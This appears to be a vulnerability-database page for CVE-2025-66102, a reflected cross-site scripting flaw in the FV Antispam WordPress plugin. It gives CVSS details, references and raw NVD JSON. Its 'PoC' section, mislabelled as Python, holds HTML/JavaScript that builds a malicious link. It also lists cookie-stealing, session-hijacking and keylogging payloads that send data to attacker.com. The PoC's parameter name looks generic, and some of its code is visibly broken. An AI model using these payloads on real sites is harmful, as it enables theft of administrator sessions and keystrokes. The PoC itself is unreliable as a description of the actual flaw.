CVE-2025-66102

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in FolioVision FV Antispam fv-antispam allows Reflected XSS.This issue affects FV Antispam: from n/a through <= 2.7.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

FV Antispam <= 2.7（所有版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-66102 PoC - FV Antispam Reflected XSS -->
<!-- Target: WordPress sites with FV Antispam plugin <= 2.7 -->
<!-- This PoC demonstrates stealing admin cookies -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-66102 PoC</title>
</head>
<body>
    <h2>CVE-2025-66102: FV Antispam Reflected XSS PoC</h2>
    
    <!-- Malicious URL that triggers the XSS -->
    <p>Attack URL (malicious link to send to victim):</p>
    <code id="maliciousUrl"></code>
    
    <script>
        // Get the target site URL (change this to the vulnerable site)
        var targetSite = window.location.protocol + "//" + window.location.host;
        
        // Construct the malicious URL with XSS payload
        // The payload steals cookies and sends them to attacker controlled server
        var xssPayload = "<img src=x onerror=\"fetch('https://attacker.com/steal?cookie='+encodeURIComponent(document.cookie))\" />";
        var maliciousUrl = targetSite + "/?fv_antispam_param=" + encodeURIComponent(xssPayload);
        
        document.getElementById("maliciousUrl").textContent = maliciousUrl;
        
        // Alternative payload variants:
        // 1. Cookie stealing:
        var payload1 = "<script>document.location='https://attacker.com/log?c='+document.cookie</script>";
        
        // 2. Session hijacking:
        var payload2 = "<img src=x onerror='new Image().src="https://attacker.com/"+document.cookie'/>";
        
        // 3. Keylogger:
        var payload3 = "<script>document.onkeypress=function(e){fetch('https://attacker.com/k?k='+e.key)}</script>";
        
        console.log("PoC generated for CVE-2025-66102");
        console.log("Target: " + targetSite);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66102
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66102
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66102/
[4] VulDB https://vuldb.com/cve/CVE-2025-66102
[5] https://patchstack.com/database/Wordpress/Plugin/fv-antispam/vulnerability/wordpress-fv-antispam-plugin-2-7-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66102", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:15.937", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in FolioVision FV Antispam fv-antispam allows Reflected XSS.This issue affects FV Antispam: from n/a through <= 2.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/fv-antispam/vulnerability/wordpress-fv-antispam-plugin-2-7-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}